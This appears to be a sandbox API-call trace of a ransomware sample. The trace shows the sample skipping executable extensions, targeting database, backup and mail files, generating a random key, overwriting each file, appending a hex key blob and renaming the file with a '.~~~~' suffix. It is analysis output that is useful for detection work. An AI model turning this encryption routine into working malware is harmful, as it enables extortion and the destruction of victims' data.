	[0139.833] RtlWakeConditionVariable () returned 0x0
	[0139.833] GetCurrentThreadId () returned 0x3a4
	[0139.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".scr") returned 0x0
	[0139.833] lstrlenW (lpString=".cmd") returned 4
	[0139.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".cmd") returned 0x0
	[0139.833] lstrlenW (lpString=".dll") returned 4
	[0139.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".dll") returned 0x0
	[0139.833] lstrlenW (lpString=".bat") returned 4
	[0139.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".bat") returned 0x0
	[0139.833] lstrlenW (lpString=".cpl") returned 4
	[0139.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".cpl") returned 0x0
	[0139.833] lstrlenW (lpString=".sys") returned 4
	[0139.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".sys") returned 0x0
	[0139.833] lstrlenW (lpString=".msc") returned 4
	[0139.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".msc") returned 0x0
	[0139.833] lstrlenW (lpString=".com") returned 4
	[0139.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".com") returned 0x0
	[0139.833] lstrlenW (lpString=".lnk") returned 4
	[0139.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".lnk") returned 0x0
	[0139.834] lstrlenW (lpString=".msp") returned 4
	[0139.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".msp") returned 0x0
	[0139.834] lstrlenW (lpString=".pif") returned 4
	[0139.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".pif") returned 0x0
	[0139.834] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0139.836] lstrlenW (lpString=".sqb") returned 4
	[0139.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".sqb") returned 0x0
	[0139.836] lstrlenW (lpString=".ost") returned 4
	[0139.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".ost") returned 0x0
	[0139.836] lstrlenW (lpString=".txt") returned 4
	[0139.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".txt") returned 0x0
	[0139.836] lstrlenW (lpString=".mdt") returned 4
	[0139.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".mdt") returned 0x0
	[0139.836] lstrlenW (lpString=".BDB") returned 4
	[0139.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".BDB") returned 0x0
	[0139.836] lstrlenW (lpString=".eql") returned 4
	[0139.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".eql") returned 0x0
	[0139.836] lstrlenW (lpString=".DBF") returned 4
	[0139.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DBF") returned 0x0
	[0139.837] lstrlenW (lpString=".EQL") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".EQL") returned 0x0
	[0139.837] lstrlenW (lpString=".FDB") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".FDB") returned 0x0
	[0139.837] lstrlenW (lpString=".EDB") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".EDB") returned 0x0
	[0139.837] lstrlenW (lpString=".DACPAC") returned 7
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.837] lstrlenW (lpString=".VHD") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".VHD") returned 0x0
	[0139.837] lstrlenW (lpString=".DBV") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DBV") returned 0x0
	[0139.837] lstrlenW (lpString=".dacpac") returned 7
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".dacpac") returned 0x0
	[0139.837] lstrlenW (lpString=".sdf") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".sdf") returned 0x0
	[0139.837] lstrlenW (lpString=".accdb") returned 6
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".accdb") returned 0x0
	[0139.837] lstrlenW (lpString=".DBX") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DBX") returned 0x0
	[0139.837] lstrlenW (lpString=".MDT") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".MDT") returned 0x0
	[0139.837] lstrlenW (lpString=".SQB") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".SQB") returned 0x0
	[0139.837] lstrlenW (lpString=".vhd") returned 4
	[0139.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".vhd") returned 0x0
	[0139.837] lstrlenW (lpString=".bac") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".bac") returned 0x0
	[0139.838] lstrlenW (lpString=".mdf") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".mdf") returned 0x0
	[0139.838] lstrlenW (lpString=".BAK") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".BAK") returned 0x0
	[0139.838] lstrlenW (lpString=".BAC") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".BAC") returned 0x0
	[0139.838] lstrlenW (lpString=".dbs") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".dbs") returned 0x0
	[0139.838] lstrlenW (lpString=".vhdx") returned 5
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".vhdx") returned 0x0
	[0139.838] lstrlenW (lpString=".NDF") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".NDF") returned 0x0
	[0139.838] lstrlenW (lpString=".dat") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".dat") returned 0x0
	[0139.838] lstrlenW (lpString=".DBS") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DBS") returned 0x0
	[0139.838] lstrlenW (lpString=".CKP") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".CKP") returned 0x0
	[0139.838] lstrlenW (lpString=".edb") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".edb") returned 0x0
	[0139.838] lstrlenW (lpString=".PST") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".PST") returned 0x0
	[0139.838] lstrlenW (lpString=".dbf") returned 4
	[0139.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".dbf") returned 0x0
	[0139.839] lstrlenW (lpString=".SQL") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".SQL") returned 0x0
	[0139.839] lstrlenW (lpString=".pst") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".pst") returned 0x0
	[0139.839] lstrlenW (lpString=".dbv") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".dbv") returned 0x0
	[0139.839] lstrlenW (lpString=".SDF") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".SDF") returned 0x0
	[0139.839] lstrlenW (lpString=".dtxs") returned 5
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".dtxs") returned 0x0
	[0139.839] lstrlenW (lpString=".db3") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".db3") returned 0x0
	[0139.839] lstrlenW (lpString=".OST") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".OST") returned 0x0
	[0139.839] lstrlenW (lpString=".dbx") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".dbx") returned 0x0
	[0139.839] lstrlenW (lpString=".DB3") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DB3") returned 0x0
	[0139.839] lstrlenW (lpString=".DAT") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DAT") returned 0x0
	[0139.839] lstrlenW (lpString=".VHDX") returned 5
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".VHDX") returned 0x0
	[0139.839] lstrlenW (lpString=".ndf") returned 4
	[0139.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".ndf") returned 0x0
	[0139.840] lstrlenW (lpString=".DB") returned 3
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DB") returned 0x0
	[0139.840] lstrlenW (lpString=".sql") returned 4
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".sql") returned 0x0
	[0139.840] lstrlenW (lpString=".MYD") returned 4
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".MYD") returned 0x0
	[0139.840] lstrlenW (lpString=".DBT") returned 4
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DBT") returned 0x0
	[0139.840] lstrlenW (lpString=".ACCDB") returned 6
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.840] lstrlenW (lpString=".fdb") returned 4
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".fdb") returned 0x0
	[0139.840] lstrlenW (lpString=".bak") returned 4
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".bak") returned 0x0
	[0139.840] lstrlenW (lpString=".myd") returned 4
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".myd") returned 0x0
	[0139.840] lstrlenW (lpString=".DTXS") returned 5
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".DTXS") returned 0x0
	[0139.840] lstrlenW (lpString=".ckp") returned 4
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".ckp") returned 0x0
	[0139.840] lstrlenW (lpString=".dbt") returned 4
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".dbt") returned 0x0
	[0139.840] lstrlenW (lpString=".db") returned 3
	[0139.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".db") returned 0x0
	[0139.840] lstrlenW (lpString=".TXT") returned 4
	[0139.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".TXT") returned 0x0
	[0139.841] lstrlenW (lpString=".MDF") returned 4
	[0139.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".MDF") returned 0x0
	[0139.841] lstrlenW (lpString=".bdb") returned 4
	[0139.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".bdb") returned 0x0
	[0139.841] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0139.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.841] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0139.842] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.842] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0139.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0139.843] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25983294172) returned 1
	[0139.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbcc3e1d0, dwHighDateTime=0x1d60e1e)) 
	[0139.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0139.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0139.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0139.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d848
	[0139.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d848 | out: hHeap=0x300000) returned 1
	[0139.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398b40
	[0139.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398b40 | out: hHeap=0x300000) returned 1
	[0139.844] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0139.844] GetLastError () returned 0x0
	[0139.844] GetLastError () returned 0x0
	[0139.844] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0139.844] GetLastError () returned 0x0
	[0139.845] GetLastError () returned 0x0
	[0139.845] ReadFile (in: hFile=0x108, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.850] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.850] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0139.852] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.852] WriteFile (in: hFile=0x108, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.852] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.852] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.852] CloseHandle (hObject=0x108) returned 1
	[0139.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398b40
	[0139.853] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME41.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme41.css.~~~~")) returned 1
	[0139.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398b40 | out: hHeap=0x300000) returned 1
	[0139.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0139.855] GetLastError () returned 0x0
	[0139.856] RtlWakeConditionVariable () returned 0x0
	[0139.856] GetCurrentThreadId () returned 0x3a4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".scr") returned 0x0
	[0139.856] lstrlenW (lpString=".cmd") returned 4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".cmd") returned 0x0
	[0139.856] lstrlenW (lpString=".dll") returned 4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".dll") returned 0x0
	[0139.856] lstrlenW (lpString=".bat") returned 4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".bat") returned 0x0
	[0139.856] lstrlenW (lpString=".cpl") returned 4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".cpl") returned 0x0
	[0139.856] lstrlenW (lpString=".sys") returned 4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".sys") returned 0x0
	[0139.856] lstrlenW (lpString=".msc") returned 4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".msc") returned 0x0
	[0139.856] lstrlenW (lpString=".com") returned 4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".com") returned 0x0
	[0139.856] lstrlenW (lpString=".lnk") returned 4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".lnk") returned 0x0
	[0139.856] lstrlenW (lpString=".msp") returned 4
	[0139.856] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".msp") returned 0x0
	[0139.857] lstrlenW (lpString=".pif") returned 4
	[0139.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".pif") returned 0x0
	[0139.857] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.857] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0139.859] lstrlenW (lpString=".sqb") returned 4
	[0139.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".sqb") returned 0x0
	[0139.859] lstrlenW (lpString=".ost") returned 4
	[0139.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".ost") returned 0x0
	[0139.859] lstrlenW (lpString=".txt") returned 4
	[0139.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".txt") returned 0x0
	[0139.859] lstrlenW (lpString=".mdt") returned 4
	[0139.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".mdt") returned 0x0
	[0139.859] lstrlenW (lpString=".BDB") returned 4
	[0139.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".BDB") returned 0x0
	[0139.859] lstrlenW (lpString=".eql") returned 4
	[0139.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".eql") returned 0x0
	[0139.859] lstrlenW (lpString=".DBF") returned 4
